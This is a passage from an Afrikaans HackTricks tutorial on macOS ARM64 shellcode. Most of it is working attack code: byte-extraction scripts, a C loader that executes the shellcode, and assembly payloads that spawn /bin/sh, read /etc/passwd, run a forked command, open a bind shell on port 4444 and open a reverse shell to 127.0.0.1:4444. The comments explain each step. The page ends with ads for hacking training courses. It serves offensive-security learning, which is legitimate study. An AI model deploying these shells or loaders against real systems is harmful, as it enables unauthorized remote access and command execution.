ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

Om die bytes te onttrek:

bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

Vir nuwer macOS:

bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
C code om die shellcode te toets
c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] = "<INSERT SHELLCODE HERE>";

int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf("    |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf("    |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf("    |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr;
sc();

return 0;
}

Shell

Geneem van here en verduidelik.

armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

Lees met cat

Die doel is om execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL) uit te voer, dus is die tweede argument (x1) 'n array van params (wat in geheue beteken 'n stack van adresse).

armasm
.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"

Roep 'n opdrag met sh van 'n fork sodat die hoofproses nie gedood word nie

armasm
.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the fork syscall
mov x16, #2            ; Load the syscall number for fork (2) into x8
svc 0                  ; Make the syscall
cmp x1, #0             ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop              ; If not child process, loop

; Prepare the arguments for the execve syscall

sub sp, sp, #64        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1]           ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option    ; Get the address of "-c"
str x0, [x1, #8]       ; Store the address of "-c" as the second argument
adr x0, touch_command  ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16]      ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24]     ; Store NULL as the fourth argument (end of arguments)

adr x0, sh_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


_exit:
mov x16, #1            ; Load the syscall number for exit (1) into x8
mov x0, #0             ; Set exit status code to 0
svc 0                  ; Make the syscall

_loop: b _loop

sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"

Bind shell

Bind shell van https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s op port 4444

armasm
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 0.0.0.0 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #104
svc  #0x1337

call_listen:
// listen(s, 2)
mvn  x0, x3
lsr  x1, x2, #3
mov  x16, #106
svc  #0x1337

call_accept:
// c = accept(s, 0, 0)
mvn  x0, x3
mov  x1, xzr
mov  x2, xzr
mov  x16, #30
svc  #0x1337

mvn  x3, x0
lsr  x2, x16, #4
lsl  x2, x2, #2

call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

Reverse shell

Van https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell na 127.0.0.1:4444

armasm
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 127.0.0.1 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #98
svc  #0x1337

lsr  x2, x2, #2

call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks